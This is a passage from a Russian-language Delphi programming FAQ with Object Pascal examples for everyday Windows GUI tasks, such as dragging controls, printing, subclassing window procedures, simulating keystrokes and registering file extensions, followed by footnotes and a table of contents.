Перехватить событие OnMouseDown, запомнить x и y координты курсора мыши. Отслеживать движение мыши по событию OnMouseMove и перемещать компонент вслед за курсором мыши до тех пор пока не произойдет событие OnMouseUp. В примере показано перемещение компонента TButton. Перемещение начинается, когда пользователь "берет" TButton мышью, удерживая нажатой клавишу "Сontrol".

Пример:

type TForm1 = class(TForm)

 Button1: TButton;

 procedure Button1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

 procedure Button1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

 procedure Button1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

private

 {Private declarations}

public

 {Public declarations}

 MouseDownSpot : TPoint;

 Capturing : bool;

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

 if ssCtrl in Shift then begin

  SetCapture(Button1.Handle);

  Capturing := true;

  MouseDownSpot.X := x;

  MouseDownSpot.Y := Y;

 end;

end;

procedure TForm1.Button1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

 if Capturing then begin

  Button1.Left := Button1.Left - (MouseDownSpot.x - x);

  Button1.Top := Button1.Top - (MouseDownSpot.y - y);

 end;

end;

procedure TForm1.Button1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

 if Capturing then begin

  ReleaseCapture;

  Capturing := false;

  Button1.Left := Button1.Left - (MouseDownSpot.x - x);

  Button1.Top := Button1.Top - (MouseDownSpot.y - y);

 end;

end;

Вопрос:

При попытке создать обьект класса TPrinter (TPrinter.Create) я получаю exception. Почему?

Ответ:

В создании обьекта класса TPrinter с использованием TPrinter.Create нет необходимости, так как обьект класса TPrinter (называемый Printer) автоматически создается при использовании модуля Printers.

Пример:

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);

begin

 Printer.BeginDoc;

 Printer.Canvas.TextOut(100, 100, 'Hello World!');

 Printer.EndDoc;

end;

Вопрос:

Как перехватить события в неклиентской области формы, в заголовке окна, например?

Ответ:

Создайте обработчик одного из сообщений WM_NC (non client — не клиентских) (посмотрите WM_NC в Windows API help). Пример показывает как перехватить вижение мыши во всей неклиенстской области окна (рамка и заголовок).

Пример:

unit Unit1;

interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type TForm1 = class(TForm)

private

 {Private declarations}

 procedure WMNCMOUSEMOVE(var Message: TMessage); message WM_NCMOUSEMOVE;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMNCMOUSEMOVE(var Message: TMessage);

var s : string;

begin

 case Message.wParam of

 HTERROR: s:= 'HTERROR';

 HTTRANSPARENT: s:= 'HTTRANSPARENT';

 HTNOWHERE: s:= 'HTNOWHERE';

 HTCLIENT: s:= 'HTCLIENT';

 HTCAPTION: s:= 'HTCAPTION';

 HTSYSMENU: s:= 'HTSYSMENU';

 HTSIZE: s:= 'HTSIZE';

 HTMENU: s:= 'HTMENU';

 HTHSCROLL: s:= 'HTHSCROLL';

 HTVSCROLL: s:= 'HTVSCROLL';

 HTMINBUTTON: s:= 'HTMINBUTTON';

 HTMAXBUTTON: s:= 'HTMAXBUTTON';

 HTLEFT: s:= 'HTLEFT';

 HTRIGHT: s:= 'HTRIGHT';

 HTTOP: s := 'HTTOP';

 HTTOPLEFT: s:= 'HTTOPLEFT';

 HTTOPRIGHT: s:= 'HTTOPRIGHT';

 HTBOTTOM: s:= 'HTBOTTOM';

 HTBOTTOMLEFT: s:= 'HTBOTTOMLEFT';

 HTBOTTOMRIGHT: s:= 'HTBOTTOMRIGHT';

 HTBORDER: s:= 'HTBORDER';

 HTOBJECT: s:= 'HTOBJECT';

 HTCLOSE: s:= 'HTCLOSE';

 HTHELP: s:= 'HTHELP';

 else s:= '';

 end;

 Form1.Caption := s;

 Message.Result := 0;

end;

end.

Вопрос:

При попытке использовать метод TCanvas.StretchDraw чтобы нарисовать иконку увеличенной ее размер не изменяется. Что делать?

Ответ:

Иконки всегда рисуются размером принятым в системе по умолчанию. Чтобы показать увеличенный вид иконки скопируйте ее на bitmap, а зате используйте метод TCanvas.StretchDraw.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var TheBitmap : TBitmap;

begin

 TheBitmap := TBitmap.Create;

 TheBitmap.Width := Application.Icon.Width;

 TheBitmap.Height := Application.Icon.Height;

 TheBitmap.Canvas.Draw(0, 0, Application.Icon);

 Form1.Canvas.StretchDraw(Rect(0,0,TheBitmap.Width * 3,TheBitmap.Height * 3), TheBitmap);

 TheBitmap.Free;

end;

Вопрос:

Можно ли сделать так чтобы TStringGrid автоматически изменял ширину колонок, чтобы вместить самую длинную строчку в колонке?

Ответ: См. пример.

Пример:

procedure AutoSizeGridColumn(Grid : TStringGrid; column : integer);

var

 i : integer;

 temp : integer;

 max : integer;

begin

 max := 0;

 for i := 0 to (Grid.RowCount - 1) do begin

  temp := Grid.Canvas.TextWidth(grid.cells[column, i]);

  if temp > max then max := temp;

 end;

 Grid.ColWidths[column] := Max + Grid.GridLineWidth + 3;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 AutoSizeGridColumn(StringGrid1, 1);

end;

Вопрос:

TTimer работает не достаточно точно. Как получить более высокую точность?

Ответ:

Таймер Windows не был создан с целью получения сверхточного хронометра. :-( Другими словами, когда Вы устанавливаете таймер на срабатывания каждые 1000 миллисекунд, он может срабатывать через интервал несколько больший чем 1000 миллисекунд. Значения меньше 55 миллисекунд никогда не будут срабатывать вовремя в Windows, поскольку это минимальная точность таймера. Можно проверять системное время и сравнивать его со временем предыдущего события таймера чтобы повысить точность.

Вопрос:

Как поместить JPEG-картинку в exe-файл и потом загрузить ее?

Ответ:

1) Создайте текстовый файл с расширением ".rc". Имя этого файла должно отличаться от имени файла-проекта или любого модуля проекта.

Файл должен содержать строку вроде: MYJPEG JPEG C:\DownLoad\MY.JPG

где:

• "MYJPEG" — имя ресурса

• "JPEG" — пользовательский тип ресурса

• "C:\DownLoad\MY.JPG" — путь к JPEG файлу.

Пусть например rc-файл называется "foo.rc"

Запустите BRCC32.exe (Borland Resource CommandLine Compiler) — программа находится в каталоге Bin Delphi/C++ Builder'а — передав ей в качестве параметра полный путь к rc-файлу. В нашем примере:

C:\DelphiPath\BIN\BRCC32.EXE C:\ProjectPath\FOO.RC

Вы получите откомпилированный ресурс — файл с расширением ".res". (в нашем случае — foo.res). Далее добавьте ресурс к своему приложению.

{Грузим ресурс}

{$R FOO.RES}

uses Jpeg;

procedure LoadJPEGFromRes(TheJPEG : string; ThePicture : TPicture);

var

 ResHandle : THandle;

 MemHandle : THandle;

 MemStream : TMemoryStream;

 ResPtr : PByte;

 ResSize : Longint;

 JPEGImage : TJPEGImage;

 begin ResHandle := FindResource(hInstance, PChar(TheJPEG), 'JPEG');

 MemHandle := LoadResource(hInstance, ResHandle);

 ResPtr := LockResource(MemHandle);

 MemStream := TMemoryStream.Create;

 JPEGImage := TJPEGImage.Create;

 ResSize := SizeOfResource(hInstance, ResHandle);

 MemStream.SetSize(ResSize);

 MemStream.Write(ResPtr^, ResSize);

 FreeResource(MemHandle);

 MemStream.Seek(0, 0);

 JPEGImage.LoadFromStream(MemStream);

 ThePicture.Assign(JPEGImage);

 JPEGImage.Free;

 MemStream.Free;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 LoadJPEGFromRes('MYJPEG', Image1.Picture);

end;

Вопрос:

Как перехватить сообщения прокрутки в TScrollBox?

Ответ:

Следующий пример перехватывает сообщения о прокрутке компонента TScrollBox и синхронизирует обе линейки прокрутки. Сообщения прокрутки перехватываются с помощью переопределения оконной процедуры (WinProc) ScrollBox'а.

Пример:

type

{$IFDEF WIN32}

WParameter = LongInt;

{$ELSE}

WParameter = Word;

{$ENDIF}

LParameter = LongInt;

{Declare a variable to hold the window procedure we are replacing}

var OldWindowProc : Pointer;

function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter; ParamW : WParameter; ParamL : LParameter) : LongInt

{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}

var

 TheRangeMin : integer;

 TheRangeMax : integer;

 TheRange : integer;

begin

 if TheMessage = WM_VSCROLL then begin

  {Get the min and max range of the horizontal scroll box}

  GetScrollRange(WindowHandle, SB_HORZ, TheRangeMin, TheRangeMax);

  {Get the vertical scroll box position}

  TheRange := GetScrollPos(WindowHandle, SB_VERT);

  {Make sure we wont exceed the range}

  if TheRange < TheRangeMin then TheRange := TheRangeMin else if TheRange > TheRangeMax then TheRange := TheRangeMax;

  {Set the horizontal scroll bar}

  SetScrollPos(WindowHandle, SB_HORZ, TheRange, true);

 end;

 if TheMessage = WM_HSCROLL then begin

  {Get the min and max range of the horizontal scroll box}

  GetScrollRange(WindowHandle, SB_VERT, heRangeMin, TheRangeMax);

  {Get the horizontal scroll box position}

  TheRange := GetScrollPos(WindowHandle, SB_HORZ);

  {Make sure we wont exceed the range}

  if TheRange < TheRangeMin then TheRange := TheRangeMin else if TheRange > TheRangeMax then TheRange := TheRangeMax;

   {Set the vertical scroll bar}

   SetScrollPos(WindowHandle, SB_VERT, TheRange, true);

  end;

 {Call the old Window procedure to allow processing of the message.}

 NewWindowProc := CallWindowProc(OldWindowProc, WindowHandle, TheMessage, ParamW, ParamL);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

 {Set the new window procedure for the control and remember the old window procedure.}

 OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(@NewWindowProc)));

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

 {Set the window procedure back to the old window procedure.}

 SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(OldWindowProc));

end;

Вопрос:

Как сделать прямоугольник для выделения части картинки для редактирования?

Ответ:

Самый простой способ — воспользоваться функцией Windows API DrawFocusRect. Функция DrawFocusRect использует операцию XOR при рисовании — таким образом вывод прямоугольника дважды с одними и теми же координатами стирает прямоугольник, и прямоугольник всегда будет виден, на фоне какого бы цвета он не выводился.

Пример:

type TForm1 = class(TForm)

 procedure FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

 procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

 procedure FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

private

 {Private declarations}

 Capturing : bool;

 Captured : bool;

 StartPlace : TPoint;

 EndPlace : TPoint;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

function MakeRect(Pt1 : TPoint; Pt2 : TPoint) : TRect;

begin

 if pt1.x < pt2.x then begin

  Result.Left := pt1.x;

  Result.Right := pt2.x;

 end else begin

  Result.Left := pt2.x;

  Result.Right := pt1.x;

 end;

 if pt1.y < pt2.y then begin

  Result.Top := pt1.y;

  Result.Bottom := pt2.y;

 end else begin

  Result.Top := pt2.y;

  Result.Bottom := pt1.y;

 end;

end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

 if Captured then DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));

 StartPlace.x := X;

 StartPlace.y := Y;

 EndPlace.x := X;

 EndPlace.y := Y;

 DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));

 Capturing := true;

 Captured := true;

 end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

 if Capturing then begin

  DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));

  EndPlace.x := X;

  EndPlace.y := Y;

  DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));

 end;

end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

 Capturing := false;

end;

Вопрос:

Можно ли использовать иконку как картинку на кнопке TSpeedButton?

Ответ:

Можно.

См. пример.

Пример:

uses ShellApi;

procedure TForm1.FormShow(Sender: TObject);

var Icon: TIcon;

begin

 Icon := TIcon.Create;

 Icon.Handle := ExtractIcon(0,'C:\WINDOWS\NOTEPAD.EXE',1);

 SpeedButton1.Glyph.Width := Icon.Width;

 SpeedButton1.Glyph.Height := Icon.Height;

 SpeedButton1.Glyph.Canvas.Draw(0, 0, Icon);

 Icon.Free;

end;

Вопрос:

Как поместить прозрачную фоновую каринку на компонент CoolBar?

Ответ:

procedure TForm1.Button1Click(Sender: TObject);

var

 Bm1 : TBitmap;

 Bm2 : TBitmap;

begin

 Bm1 := TBitmap.Create;

 Bm2 := TBitmap.Create;

 Bm1.LoadFromFile('c:\download\test.bmp');

 Bm2.Width := Bm1.Width;

 Bm2.Height := Bm1.Height;

 bm2.Canvas.Brush.Color := CoolBar1.Color;

 bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1, Rect(0, 0, Bm1.width, Bm1.Height), ClWhite);

 bm1.Free;

 CoolBar1.Bitmap.Assign(bm2);

 bm2.Free;

end;

Вопрос:

Ползунок компонента TScrollBar все время мигает. Как это отключить?

Ответ:

Установите свойтсво ScrollBar.TabStop в False.

Вопрос:

Как программно перевести DBgrid в реим редактирования и установить курсор в окошке редактирования в требуемую позицию?

Ответ:

Переведите таблицу в режим редактирования, затем получите дескриптор (handle) окна редактирования и перешлите ей сообщение EM_SETSEL. В качестве параметров вы должны переслать начальную позицию курсора, и конечную позицию, определяющую конец выделения текста цветом. В приведенном примере курсор помещается во вторую позицию, текст внутри ячейки не выделяется.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var h : THandle;

begin

 Application.ProcessMessages;

 DbGrid1.SetFocus;

 DbGrid1.EditorMode := true;

 Application.ProcessMessages;

 h:= Windows.GetFocus;

 SendMessage(h, EM_SETSEL, 2, 2);

end;

Вопрос:

Как поместить курсор в определенную позицию edit'а и подобных ему элементов управления?

Ответ:

Можно использовать методы Delphi SelStart() и SelectLength().

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 Edit1.SetFocus;

 {переводим курсор во вторую позицию}

 Edit1.SelStart := 2;

 {не выделяем никакого текста}

 Edit1.SelLength := 0;

end;

Вопрос:

Как среагировать на минимизацию-максимизацию формы перед тем как произойдет изменение размера формы?

Ответ:

В примере перехватывается сообщение WM_SYSCOMMAND. Если это сообщение говорит о минимизации или максимизации формы — пищит динамик.

Пример:

type TForm1 = class(TForm)

private

 {Private declarations}

 procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMSysCommand;

begin

 if (Msg.CmdType = SC_MINIMIZE) or (Msg.CmdType = SC_MAXIMIZE) then MessageBeep(0)

 else inherited;

end;

Вопрос:

Можно ли сделать так — одна форма показывает другую и остается позади нее, но фокус ввода не переходит к новой форме, а остается у старой?

Ответ:

В примере показывается не автосоздаваемая (non auto-created) форма, но фокус ввода ей не передается.

Пример:

uses Unit2;

procedure TForm1.Button1Click(Sender: TObject);

begin

 Form2 := TForm2.Create(Application);

 Form2.Visible := FALSE;

 ShowWindow(Form2.Handle, SW_SHOWNA);

end;

Вопрос:

На некоторых laptop компьютерах может не быть флоппи дисковода. Можно ли удалять из списка TDriveComboBox диски которые отключены?

Ответ:

В примере TDriveComboBox не показывает дисководы, которые не готовы. (not ready). Учтите что на многих компьютерах будет ощутимая задержка при поверке plug&play флоппи дисковода.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

var

 i : integer;

 OldErrorMode : Word;

 OldDirectory : string;

begin

 OldErrorMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);

 GetDir(0, OldDirectory);

 i := 0;

 while i <= DriveComboBox1.Items.Count - 1 do begin

  {$I-}

  ChDir(DriveComboBox1.Items[i][1] + ':\');

  {$I+}

  if IoResult <> 0 then DriveComboBox1.Items.Delete(i)

  else inc(i);

 end;

 ChDir(OldDirectory);

 SetErrorMode(OldErrorMode);

end;

Вопрос:

Как сообщить всем формам моего приложения (в том числе и не видимым в данный момент) об изменении каких-то глобальных значений?

Ответ:

Один из способов — создать пользовательское сообщение и использовать метод preform чтобы разослать его всем формам из массива Screen.Forms.

Пример:

{Code for Unit1}

const UM_MyGlobalMessage = WM_USER + 1;

type TForm1 = class(TForm)

 Label1: TLabel;

 Button1: TButton;

 procedure FormShow(Sender: TObject);

 procedure Button1Click(Sender: TObject);

private

 {Private declarations}

 procedure UMMyGlobalMessage(var AMessage: TMessage); message UM_MyGlobalMessage;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

uses Unit2;

procedure TForm1.FormShow(Sender: TObject);

begin

 Form2.Show;

end;

procedure TForm1.UMMyGlobalMessage(var AMessage: TMessage);

begin

 Label1.Left := AMessage.WParam;

 Label1.Top := AMessage.LParam;

 Form1.Caption := 'Got It!';

end;

procedure TForm1.Button1Click(Sender: TObject);

var f: integer;

begin

 for f := 0 to Screen.FormCount - 1 do Screen.Forms[f].Perform(UM_MyGlobalMessage, 42, 42);

end;

{Code for Unit2}

const UM_MyGlobalMessage = WM_USER + 1;

type TForm2 = class(TForm)

 Label1: TLabel;

private

 {Private declarations}

 procedure UMMyGlobalMessage(var AMessage: TMessage); message UM_MyGlobalMessage;

public

 {Public declarations}

end;

var Form2: TForm2;

implementation

{$R *.DFM}

procedure TForm2.UMMyGlobalMessage(var AMessage: TMessage);

begin

 Label1.Left := AMessage.WParam;

 Label1.Top := AMessage.LParam;

 Form2.Caption := 'Got It!';

end;

Вопрос:

Как обновить список дисков компонента TDriveComboBox, учитывая, что могут быть подключены/отключены сетевые диски и произведена "горячая замена" plug&play дисков?

Ответ:

Следующий пример вызывает защищенный (protected) метод класса TDriveComboBox BuildList() для регенерации списка дисков. (использовая так наз. "class cracer")

Пример:

type TNewDriveComboBox = class(TDriveComboBox) //это наш "class cracer"

end;

procedure TForm1.Button1Click(Sender: TObject);

var Drive : char;

begin

 Drive := DriveComboBox1.Drive;

 TNewDriveComboBox(DriveComboBox1).BuildList; //вызываем защищенный метод родительского класса

 DriveComboBox1.Drive := Drive;

end;

Вопрос:

Как программно заставить выпасть меню?

Ответ:

В примере показано как показать меню и выбрать в нем какой-то пункт, эмулируя нажатие "быстрой клавиши" пункта меню. Если у Вашего пункта меню нет "быстрой клавиши" Вы можете посылать комбинации VK_MENU, VK_LEFT, VK_DOWN, и VK_RETURN, чтобы программно "путешествовать" по меню.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 //Allow button to finish painting in response to the click

 Application.ProcessMessages;

 {Alt Key Down}

 keybd_Event(VK_MENU, 0, 0, 0);

 {F Key Down - Drops the menu down}

 keybd_Event(ord('F'), 0, 0, 0);

 {F Key Up}

 keybd_Event(ord('F'), 0, KEYEVENTF_KEYUP, 0);

 {Alt Key Up}

 keybd_Event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);

 {F Key Down}

 keybd_Event(ord('S'), 0, 0, 0);

 {F Key Up}

 keybd_Event(ord('S'), 0, KEYEVENTF_KEYUP, 0);

end;

Вопрос:

Как сделать клавишу-акселератор (keyboard shortcut) компоненту, у которого нет заголовка?

Ответ:

Возможный вариант — присвоить ссылку на этот компонент свойству FocusControl TLabel'а. В примере используется невидимый Label для создания "быстрой" клавиши (Alt+M) компонента Memo. Чтобы использовать пример, разместите на форме компонет TMemo, Label и несколько других компонентов, которые могут принимать фокус ввода. Запустите программу, перевидите фокус ввода куда-нибудь вне Memo и нажмите Alt+M — фокус ввода вернется в Memo.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

begin

 Label1.Visible := false;

 Label1.Caption := '&M';

 Label1.FocusControl := Memo1;

end;

 Вопрос:

Можно ли как-то уменьшить мерцание при перерисовке компонента?

Ответ:

Если добавить флаг csOpaque (непрозрачный) к свойству ControlStyle компонента — то фон компонента перерисовываться не будет.

Пример:

constructor TMyControl.Create;

begin

 inherited;

 ControlStyle := ControlStyle + [csOpaque];

end;

Вопрос:

Как запретить изменение размера моего компонента в design-time?

Ответ:

Поместите в конструктор компонента код, устанавливающий размеры по умолчанию. Переопределите метод SetBounds и проверяйте в нем "componentstate". Если компонет находится режиме "design-time" (csDesigning in ComponentState) просто передавайте значения ширины и высоты (width и heights) компонента по умолчанию (в нашем примере 50) методу класса-предка.

Пример:

procedure TVu.SetBounds(ALeft : integer; ATop : integer; AWidth : integer; AHeight : integer);

begin

 if csdesigning in componentstate then begin

  AWidth := 50;

  AHeight := 50;

  inherited; //вызываем унаследованный от предка метод

 end;

end;

Вопрос:

Можно ли уменьшить потребляемые компонентами TNotebook и TTabbedNotebook ресурсы?

Ответ:

Да. Можно уничтожать обьекты, расположенные не на текущей странице TNotebook или TTabbedNotebook. В примере вызывается защищенный (Protected) метод путем создания так называемый "class cracer'ов".

type TMyTabbedNotebook = class(TTabbedNotebook); //это наш "class cracer"

type TMyNotebook = class(TNotebook);

procedure TForm1.TabbedNotebook1Change(Sender: TObject; NewTab: Integer; var AllowChange: Boolean);

begin

 with TabbedNotebook1 do //вызываем защищенный метод родительского класса

  TMyTabbedNotebook(TWinControl(Pages.Objects[PageIndex])).DestroyHandle;

end;

procedure TForm1.TabSet1Change(Sender: TObject; NewTab: Integer; var AllowChange: Boolean);

begin

 with Notebook1 do //вызываем защищенный метод родительского класса

  TMyNotebook(TWinControl(Pages.Objects[PageIndex])).DestroyHandle;

 NoteBook1.PageIndex := NewTab;

 AllowChange := true

end;

Вопрос:

Функция keybd_event() принимает значения до 244 — как мне отправить нажатие клавиши с кодом #255 в элемент управления Windows?

Ответ:

Это может понадобится для иностранных языков или для специальных символов. (например, в русских шрифтах символ с кодом #255 — я прописное). Приведенный в примере метод не стоит использовать в случае, если символ может быть передан обычным способом (функцией keybd_event()).

procedure TForm1.Button1Click(Sender: TObject);

var KeyData : packed record

 RepeatCount : word;

 ScanCode : byte;

 Bits : byte;

end;

begin

 {Let the button repaint}

 Application.ProcessMessages;

 {Set the focus to the window}

 Edit1.SetFocus;

 {Send a right so the char is added to the end of the line}

 // SimulateKeyStroke(VK_RIGHT, 0);

 keybd_event(VK_RIGHT, 0,0,0);

 {Let the app get the message}

 Application.ProcessMessages;

 FillChar(KeyData, sizeof(KeyData), #0);

 KeyData.ScanCode := 255;

 KeyData.RepeatCount := 1;

 SendMessage(Edit1.Handle, WM_KEYDOWN, 255,LongInt(KeyData));

 KeyData.Bits := KeyData.Bits or (1 shl 30);

 KeyData.Bits := KeyData.Bits or (1 shl 31);

 SendMessage(Edit1.Handle, WM_KEYUP, 255, LongInt(KeyData));

 KeyData.Bits := KeyData.Bits and not (1 shl 30);

 KeyData.Bits := KeyData.Bits and not (1 shl 31);

 SendMessage(Edit1.Handle, WM_CHAR, 255, LongInt(KeyData));

 Application.ProcessMessages;

end;

Вопрос:

Некоторые компоненты не меняют курсор мыши до тех пор пока пользователь не сдвинет мышь. Как эмулировать движение мыши?

Ответ:

В примере мышка слегка "подталкивается" без участия пользователя.

procedure TForm1.Button1Click(Sender: TObject);

var pt : TPoint;

begin

 Application.ProcessMessages;

 Screen.Cursor := CrHourglass;

 GetCursorPos(pt);

 SetCursorPos(pt.x + 1, pt.y + 1);

 Application.ProcessMessages;

 SetCursorPos(pt.x - 1, pt.y - 1);

end;

Вопрос:

Как зарегистрировать расширение файла за своим приложением и контекстное меню, связанное с этим типом?

Ответ:

Пример регистрирует расширение файла(.myext) — файлы этого типа будут открываться приложением MyApp.Exe. Также регнстрируется одно действие (action) по умолчанию для файлов этого типа и два дополнительных пункта контекстного меню, связанного с этим типом файлов. Возможно, потребуется перезайти в систему чтобы изменения вступили в силу.

Пример:

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);

var R : TRegIniFile;

begin

 R := TRegIniFile.Create('');

 with R do begin

  RootKey := HKEY_CLASSES_ROOT;

  WriteString('.myext','','MyExt');

  WriteString('MyExt','','Some description of MyExt files');

  WriteString('MyExt\DefaultIcon','','C:\MyApp.Exe,0');

  WriteString('MyExt\Shell','','This_Is_Our_Default_Action');

  WriteString('MyExt\Shell\First_Action', '','This is our first action');

  WriteString('MyExt\Shell\First_Action\command','', 'C:\MyApp.Exe /LotsOfParamaters %1');

  WriteString('MyExt\Shell\This_Is_Our_Default_Action','', 'This is our default action');

  WriteString('MyExt\Shell\This_Is_Our_Default_Action\command', '','C:\MyApp.Exe %1');

  WriteString('MyExt\Shell\Second_Action', '','This is our second action');

  WriteString('MyExt\Shell\Second_Action\command', '','C:\MyApp.Exe /TonsOfParameters %1');

  Free;

 end;

end;

Примечания

1

использовались только версии ODBC 2.0 и Access 2.0.

(обратно)

2

Local InterBase — однопользовательский SQL сервер базы данных. Версия, включенная в Delphi Desktop, предназначается для использования разработчиками, которые хотят разрабатывать SQL приложения (для последующего переноса их в среду клиент/сервер) без покупки собственной (дорогой) платформы сервера. Однако, Delphi Desktop не включает права распространения на Local InterBase. Если вы хотите распространять однопользовательское приложение, которое его использует, вы должны заплатить дополнительно за deployment kit.  

(обратно)

3

 Версия ReportSmith из Delphi Desktop специально обнаруживает и исключает из списка возможных соединений любой ODBC драйвер к удаленному серверу данных. Да, вы не ослышались. Даже если вы купили ODBC драйвер третьей фирмы, и даже если вы можете прекрасно общаться с этим драйвером из Delphi, ReportSmith еще не будет с ним работать. Если вы хотите сделать это без покупки Delphi Client/Server, вы может купить ReportSmith/SQL отдельно за $300 (и тем не менее приобретете ReportSmith версии 2.0, а не 2.5, как в поставке Delphi Client/Server).  

(обратно)

Оглавление

Статьи

  Советы по Delphi

    Советы по работе с системой

      Советы для написания программ-инсталляторов

        Регистрация программ в меню "Пуск" Windows 95

        Как программно создать ярлык?

        Затенить кнопку «Закрыть» в заголовке формы

        Копирование файлов

        Как скопировать все файлы вместе с подкаталогами

        Удаление каталога со всем содержимым

        Определение системной информации

        Как проинсталлировать свои шрифты?

        Вставить какую-нибудь программу внутрь EXE файла

        Как написать маленький инсталлятор?

        Рисую две иконки 32х32 и 16х16, но под NT 32х32 не показывается!

      Работа с принтером.

      Система

      Внешние модули (DLL), нити

    Советы по работе с реестром. 

      Использование некоторых ключей реестра

      Работа с реестром в Delphi 1

      Объект INIFILES - работа с INI файлами.

    Советы по работе с графикой

    Разное

      Глюки

  Создание редактора карт в стратегиях типа WarCraft

  Шпаргалка по ресурсам Windows-32 (для Delphi)

    Стандартная технология доступа к ресурсам

    Внутренний формат ресурсов Windows

    Описание формата ресурсов в MS PE COFF.

    Дамп памяти (взят из PE.TXT)

API

  Программирование на основе Win32 API в Delphi

    1. Введение

    2. Существующие решения

    3. Принципы построения API-библиотеки

    4. Библиотека WinLite

    5. Пример программы на основе библиотеки WinLite

  KOL

    Состояние проекта KOL

FAQ

  Часто задаваемые вопросы по Borland Delphi

    Общие вопросы по Delphi и данному FAQ (часть 1)

      Введение

      Вопросы общего характера

      Совместимость

      Базы данных - Interbase и локальные данные

      Базы данных — прочие SQL сервера

    Общие вопросы по Delphi и данному FAQ (часть 2)

      Базы данных — компоненты и VCL.

      Компоненты и VCL

    Общие вопросы по Delphi и данному FAQ (часть 3)

      Object Pascal и Windows API

      Разное

      Полезные хитрости

    Вопросы по Delphi 1.0

      Вопросы общего характера

      Delphi и Visual Basic

      Базы данных

      Object Pascal и Windows API

      Компоненты и VCL

      Разное

    Вопросы по Delphi 2.0

      Что нового в Delphi 2.0 по сравнения с Delphi 1.0?

      Вопросы общего характера

      Базы данных

      Object Pascal и Windows API

      Разное

    Вопросы по Delphi 3.0

      Вопросы общего характера

      Object Pascal и Windows API

  Delphi, С++ Builder и базы данных: вопросы и ответы

  Delphi VCL FAQ Fueled by Johannes Gensfleisch zur Laden zum Gutenberg